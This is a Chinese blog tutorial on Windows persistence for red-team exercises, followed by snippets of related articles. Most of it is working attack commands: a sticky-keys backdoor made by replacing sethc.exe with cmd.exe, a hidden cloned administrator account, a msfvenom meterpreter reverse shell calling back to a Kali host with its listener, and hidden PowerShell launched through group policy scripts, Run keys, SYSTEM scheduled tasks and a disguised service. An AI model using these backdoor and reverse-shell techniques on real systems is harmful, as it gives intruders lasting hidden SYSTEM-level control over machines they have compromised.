【网络安全】护网系列-windows权限维持

简介: 【网络安全】护网系列-windows权限维持

3.windows权限维持

网站入侵流程

1、信息搜集
2、漏洞扫描
3、渗透攻击
4、提权
5、后渗透
6、持续控制

3.1 shift后门维持

3.1.1 粘滞键概念

粘滞键漏洞

在Windows系统下连续按5下SHIFT键,可以启动系统的粘滞键功能

其进程名为Sethc.exe

应用程序在Windows\system32下。

image-20230720233114929.png

3.1.2 shift后门原理

通过将其替换为它应用程序(如:cmd.exe、 或木马、病毒)

将Sethc.exe这个可执行程序进行替换。

当再次连续按5次SHIFT键,就会以system权限运行替换后的应用程序

3.1.3 操作流程

(2)复制cmd.exe为sethc.exe
copy C:\WINDOWS\system32\cmd.exe C:\windows\system32\sethc.exe

image-20230720233743425.png

image-20230720233827246.png

(2)更改文件权限

如果提示权限不够,就执行下列操作

takeown /f c:\windows\system32\*.* /a /r /d y 

cacls c:\windows\system32\*.* /T /E /G administrators:F

3.2 克隆账号维持

3.2.1 隐藏账户

隐藏账户,顾名思义就是计算机上看不到的用户

在一个用户名后面添加$符号

如(hack$)达到简单的隐藏用户目的

从而进行简单的权限维持

(1)新建隐藏账号
net user hack$ Admin@123 /add

会发现,看不到这个账号

image-20230721121538049.png

但是在登录页会看到该账号

(2)注册表隐藏用户

打开注册表

在命令行程序中输入

<regedit>

然后修改注册表,找到路经

HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users\Names\

目前有刚刚创建的hack账户和管理员账户

image-20230721121905449.png

(3)克隆管理员

要把hack克隆成管理员

首先要导出之前创建的hack$用户注册表文件,右键导出

由于每个账号对应一个键值

image-20230721122048058.png

所以需要复制administrator 中的F键值

image-20230721122134368.png

把F和V下的二进制数复制到克隆账号中

image-20230721122207783.png

会发现,克隆账号hack的键值是0x3eb,找到该键值,打开,粘贴

image-20230721122306044.png

将复制的值,粘贴到hack$对应的F值中(简单克隆-只克隆F)

将hack$ 对应的数据导出来,右键导出

(4)删除用户

然后把刚刚的用户删除掉

net user hack$ /delete

image-20230721122706490.png

3.3 启动项维持

启动项,操作系统在启动的时候,自动加载了很多程序。

会在前台或者后台运行,进程表中出现了很多的进程。

也许有病毒或木马在自启动行列。

添加启动项的方式:

1、组策略
2、启动文件夹
3、注册表

3.3.1 组策略

可以通过利用组策略开机启动脚本

1、在运行框中输入 “gpedit.msc ”,打开组策略

image-20230721123712006.png

2、在【Windows设置】->【脚本(启动/关机)】双击【启动】就可以进行设置

image-20230721123738116.png

3、选择要添加的脚本或者PowerShell

用msf生成一个powershell的木马

3.3.2 反弹shell木马生成

(1)机器名和IP地址

IP用kali系统的IP

Windows Server 2008  192.168.13.156

Kali  192.168.13.129

(2)运行

msfvenom -p windows/x64/meterpreter/reverse_http lhost=192.168.13.129 lport=3333 -f psh -o 1.ps1

(3)在目标服务器进行下载

python -m http.server 8080

(4)创建一个1.bat脚本,并且添加到组策略【脚本】中

bat脚本内容如下:

要改一下路经

@echo off

powershell.exe -w hidden -ExecutionPolicy Bypass -NoExit -File C:\Users\Administrator\Desktop\keep\shell.ps1

exit

(5)kali运行msf进行监听

use exploit/multi/handler
set payload windows/x64/meterpreter/reverse_http
set LHOST 192.168.13.129
set LPORT 3333
run

(6)重启server2008机器

3.3.3 启动文件夹

启动文件夹 里面的文件可以会在开机的时候自动启动。

通过开始菜单——所有程序——启动 这个文件夹内,可以将程序开机自动启动。

把需要运行的脚本放进去

启动文件夹:
C: \ProgramData\Microsoft\Windows\Start Menu\Programs\Startup #系统级,需要system权限
C: \Users\用户名\AppData\Roaming\Microsoft\Windows\Start\Menu\Programs\Startup #用户级 普通
C:\Users\86133\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup

组策略脚本启动文件夹:
C:\Windows\System32\GroupPolicy\Machine\Scripts\Startup
C:\Windows\System32\GroupPolicy\Machine\Scripts\Shutdown
C:\Windows\System32\GroupPolicy\User\Scripts\Logon
C:\Windows\System32\GroupPolicy\User\Scripts\Logoff

3.3.4 注册表

利用注册表实现启动

注册表(Registry,繁体中文版Windows操作系统称之为登录档)

是Microsoft Windows中的一个重要的数据库,用于存储系统和应用程序的设置信息。

(1)打开注册表

# HKEY_LOCAL_MACHINE类

HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunOnce
HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnceEx
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunServices
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunServicesOnce

\# HKEY_CURRENT_USER类
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunOnce
HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnceEx
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunServices
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunServicesOnce

(2)使用reg add 命令进行添加

reg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run" /v shell /t REG_SZ /d "C:\phpstudy_pro\WWW\shell\1.bat"

3.4 计划任务维持

计划任务是系统的常见功能,利用任务计划功能,

可以将任何脚本、程序或文档安排在某个最方便的时间运行。

任务计划可以在每次系统启动的时候启动并在后台运行。

(1)打开计划任务

1、【管理工具】--->【任务计划程序】

2、【控制面板】--->系统和安全--【计划任务】

3、【taskschd.msc】命令

image-20230722200123903.png

(2)生成计划任务

使用schtasks命令

/Create 创建新计划任务。

/Delete 删除计划任务。

使用以下命令进行测试

1、在每个任意用户登录中以SYSTEM的形式执行计划任务:

schtasks /create /tn 计划任务名 /tr "计划任务执行文件命令" /sc onlogon /ru System

2、在系统启动期间或用户会话处于非活动状态(空闲模式)时执行

schtasks /create /tn 计划任务名 /tr "计划任务执行文件命令" /sc onidle /i 30

3、在系统启动的时候以SYSTEM的形式执行计划任务:

schtasks /create /tn 计划任务名 /tr "计划任务执行文件命令" /sc onstart /ru System

4、计划任务以 System 权限每10分钟运行一次

schtasks /create /tn 计划任务名 /tr "计划任务执行文件命令" /sc minute/mo 10 /ru system

利用当系统开机的时候运行计划任务进行权限维持

需要修改路经

schtasks /create /tn shell /tr "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -w hidden -ExecutionPolicy Bypass -NoExit -File C:\phpstudy_pro\WWW\shell\.1ps1" /sc onstart /ru System

image-20230722200614033.png

image-20230722200649639.png

3.5 系统服务维持

服务:能够创建在操作系统自己的 Windows 会话中可长时间运行的可执行应用程序。

这些服务可以在计算机启动时自动启动,可以暂停和重新启动而且不显示任何用户界面。

(1)创建服务

sc命令

用法: sc create [service name] [binPath= ] ...

1、创建服务

需要修改路经

sc create shell start= auto binPath= "C:\phpstudy_pro\WWW\1.exe" obj= Localsystem

image-20230722231115218.png

(2)查看服务

2、查看服务是否已经创建

services.msc

3、修改正常的名称和描述

sc description "shell" "安全"

image-20230722231144658.png

(3)启动服务

4、启动服务

net start "服务名"
目录
相关文章
|
24天前
|
安全 网络安全 数据安全/隐私保护
访问控制列表(ACL)是网络安全中的一种重要机制,用于定义和管理对网络资源的访问权限
访问控制列表(ACL)是网络安全中的一种重要机制,用于定义和管理对网络资源的访问权限。它通过设置一系列规则,控制谁可以访问特定资源、在什么条件下访问以及可以执行哪些操作。ACL 可以应用于路由器、防火墙等设备,分为标准、扩展、基于时间和基于用户等多种类型,广泛用于企业网络和互联网中,以增强安全性和精细管理。
126 7
|
17天前
|
安全 网络安全 数据安全/隐私保护
访问控制列表(ACL)是网络安全管理的重要工具,用于定义和管理网络资源的访问权限。
访问控制列表(ACL)是网络安全管理的重要工具,用于定义和管理网络资源的访问权限。ACL 可应用于路由器、防火墙等设备,通过设定规则控制访问。其类型包括标准、扩展、基于时间和基于用户的ACL,广泛用于企业网络和互联网安全中,以增强安全性、实现精细管理和灵活调整。然而,ACL 也存在管理复杂和可能影响性能的局限性。未来,ACL 将趋向智能化和自动化,与其他安全技术结合,提供更全面的安全保障。
69 4
|
2月前
|
缓存 监控 网络协议
计算机网络的常用的网络通信命令(Windows)
本文介绍了网络技术中常用的命令,如ping用于检测网络连通性,ipconfig查看TCP/IP配置,netstat监控网络状态,arp显示和修改ARP缓存,at安排任务执行,tracert追踪路由,以及nbtstat获取NetBIOS信息。
38 1
|
3月前
|
安全 Windows
怎样利用 Windows XP实现网络统一关机
怎样利用 Windows XP实现网络统一关机
怎样利用 Windows XP实现网络统一关机
|
7月前
|
安全 网络安全 数据安全/隐私保护
【专栏】IT 知识百科:访问控制列表(ACL)是网络安全的关键机制,用于定义和管理网络资源的访问权限
【4月更文挑战第28天】访问控制列表(ACL)是网络安全的关键机制,用于定义和管理网络资源的访问权限。ACL工作原理包括定义规则、匹配规则和执行操作。标准ACL基于源IP过滤,扩展ACL则提供更多筛选条件。时间及用户基础的ACL提供更细化的控制。优点在于增强安全性和精细管理,但管理复杂性和性能影响也是挑战。未来,ACL将趋向智能化和自动化,与更多安全技术结合,以提升网络安全。**
417 0
|
4月前
【Azure App Service】列举为App Service集成虚拟网络(VNET)操作时所需要的最小权限
【Azure App Service】列举为App Service集成虚拟网络(VNET)操作时所需要的最小权限
|
4月前
|
开发框架 .NET API
Windows Server 2022 安装IIS 报错 访问临时文件夹 C:\WINDOWS\TEMP\3C 读取/写入权限 错误: 0x80070005
Windows Server 2022 安装IIS 报错 访问临时文件夹 C:\WINDOWS\TEMP\3C 读取/写入权限 错误: 0x80070005
165 0
|
4月前
|
Windows
Windows 映射网络驱动器及删除-此网格连接不存在
Windows 映射网络驱动器及删除-此网格连接不存在
456 0
|
6月前
|
Windows
解决Windows 11/10 上的网络打印机错误 0x0000011b
解决Windows 11/10 上的网络打印机错误 0x0000011b
880 5
|
6月前
【权限维持】Windows&自启动&映像劫持&粘滞键&辅助屏保后门&WinLogon
【权限维持】Windows&自启动&映像劫持&粘滞键&辅助屏保后门&WinLogon